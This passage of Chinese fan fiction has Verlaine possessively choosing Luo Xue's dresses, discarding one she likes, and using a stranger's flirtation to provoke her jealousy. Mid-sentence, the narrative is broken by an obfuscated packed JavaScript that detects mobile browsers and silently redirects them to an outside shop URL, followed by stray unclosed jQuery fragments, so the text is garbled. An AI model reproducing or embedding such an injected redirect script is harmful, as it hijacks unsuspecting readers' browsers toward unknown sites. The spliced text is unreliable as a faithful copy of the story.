洛雪不想迎上魏尔伦炽热的打量目光，微微低下头，看着由大理石铺陈的光滑地面。
脸上没有太多的表情，深红色的艳丽长裙与自身携带的清冷疏离气质搭在一起，形成了一种独特的魅力。
“很好看，很适合你。”
魏尔伦嘴角满意地勾了勾，就连店内站在一旁待命的工作人员也没忍住瞥了她一眼。
“这个呢？”
魏尔伦指向侧前方的另一个人形台，洛雪顺着他的视线看过去。
和穿着的这条红裙不同，裙身纯白，从头到尾没有一点点多余冗杂的装饰，在一众精美的设计里面不是很起眼，却未曾落俗，就像是西伯利亚静谧的大雪。
洛雪的目光顿了顿，不自觉为这抹纯洁的白色停留，提着裙摆走过去，抬手轻轻抚摸。
“魏尔伦，我更喜欢这件。”
她本来也没想将事情闹得太僵，现在好不容易真的有合心意的，可以当作主动向魏尔伦退让的机会。
偏过头，看见的却是金发男人不虞的脸色。
魏尔伦蓝眸冷冷，语气低沉：“白色不好，像死人才会穿的东西，重新选吧，随便哪一条都比它好看。”
又对着刚才那位热情的柜姐说道：“拿出去丢掉。”
“先生……您确定吗？”
“您家小姐，好像挺中意它的。”
柜姐化着精致妆容的脸上尽是为难，看了看洛雪，不知道该怎么办。
“丢掉。”魏尔伦居高临下，不容拒绝地重复。
对方赶紧惶恐地一把将白裙子从人形台上扯了下来，逃离般带着它冲出店内，丢进街边的公用垃圾桶里。
洛雪不明白他又怎么了，刚才不是他先询问自己的吗，真是莫名其妙。
“魏尔伦，你有考虑过我的感受吗？”洛雪声音有些发颤地询问。
她清楚魏尔伦此番带她出门是为了讨她欢心，然而现在却又如此自以为是，一举一动根本感受不到他所谓的爱意。
白裙子已经被丢掉，魏尔伦眸色柔和了不少，轻轻抓住洛雪双臂，躬下身耐心哄道：
“你就算想把店里所有的裙子买下都可以，我会为你照做。唯独刚才那件不行，我希望你只染上我一人的色彩。”
“听话。”
他这话前后转折太大，令人一头雾水。许久，洛雪才后知后觉，他该不会又在暗戳戳的指费奥多尔……？
发愣的片刻，魏尔伦乐此不疲地取下了几件合乎自己眼缘的华美礼裙，递到她面前。
洛雪麻木地接过，像在完成任务一样走进试衣间机械地换上，黑眸里那点期待的光亮随着白裙消失殆尽。
“都很好看。”魏尔伦满意笑道，欣赏着由自己一手雕刻出来的艺术品。
从服装店出来，一个早上快过去了。
梅雨过后，空气凉凉的，太阳隐匿在厚重的云朵后面，整个天灰蒙蒙。
这一次出行并没有让下属跟着，魏尔伦愉悦地一手拎着印有品牌logo的购物纸袋，另一只手牵住洛雪走在熙熙攘攘的街道上，看上去就是个既出手阔绰又贴心温柔的好男友，一路吸引了不少人的目光。
“累了么？用不用找个地方休息一下？”感觉到洛雪的脚步越来越慢，魏尔伦停了下来，面向她轻声询问。
洛雪神情平淡，看不出一点点喜悦之色，未等她回应，魏尔伦突然感觉后背有什么东西轻轻撞了上来。
他警惕而不悦地偏过身，只见眼前站着一位表情看上去有点窘迫的年轻女子，打扮时髦，手里拿着手机。
“抱歉，您还好吗？”
“刚才我走路时玩手机没注意，不小心撞到您了。”
女子面颊泛红地注视着金发男人俊美无比的脸，有些扭捏地说道。
“没事。”
魏尔伦淡淡应了一声，便不再理会，然而对方似乎并没有离开的意思。
“那个……为了表示我的歉意，要不我请您喝杯咖啡吧？”她语气羞涩，鼓起勇气举高了手机。
“如果您现在没空的话，我们也可以先交换一下联系方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723298|206278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
式，改天我再好好向您赔罪。”
魏尔伦明白了，来者醉翁之意不在酒，这是在向自己示好呢。
很多年以前，他在欧洲当谍报员的时候，身边的同事遇到比较麻烦棘手的任务，便会用这种方式尝试去接近任务目标。
可他自己本人没有太多耐心，也不需要这么麻烦，毕竟没有谁能逃得过重力的束缚。
魏尔伦刚想开口拒绝，却突然想到了什么，眼角余光瞥向身侧面无表情的洛雪。
“只是喝杯咖啡而已么？”他轻轻挑眉，语气意味深长，短短一句话便让对方心花怒放。
魏尔伦耐心地等待着，想看身边之人像之前在中华街里煎饼摊前那样，因为他而产生情绪波动，气鼓鼓抱怨的模样。
然而，面对女子刚才意图再明显不过的搭讪，洛雪从始至终只是静静地旁观，仿佛她才是那个无关紧要的路人，没没有不满地拽着他衣角离开，甚至连因为吃醋而微微皱起眉头都没有。
魏尔伦眸色闪过一丝黯淡。
“先生……”女子小心翼翼往前贴了几分，希冀出声。
“滚。”
明明不久前语气还有几分挑逗的意味，此刻强大阴冷的气息却环绕金发男人周身，女子被吓得脸色惨白，惊慌失措地消失在人群里。
“你就一点点表示也没有吗？”魏尔伦偏过头，语气有些失望地对着洛雪说道，就像一个没得到大人注意的小孩。
洛雪歪了歪头，好像并不能理解他的话：“什么表示？”
看着她无辜的表情，魏尔伦心中烦躁得愈发厉害，攥紧手中购物袋，不服道：“刚才那个女人想邀请我去喝咖啡，你就这么站着，一句话也不说？”
“原来你是指这个。”洛雪故作恍然大悟，若有所思地扶着下巴。
魏尔伦蔚蓝色的眼眸再次流露出几分渴望。
片刻，她终于抿了抿唇。
“我不介意你和那位女士一起去喝咖啡。”
“你就算真的把联系方式给她了，也和我没有关系。”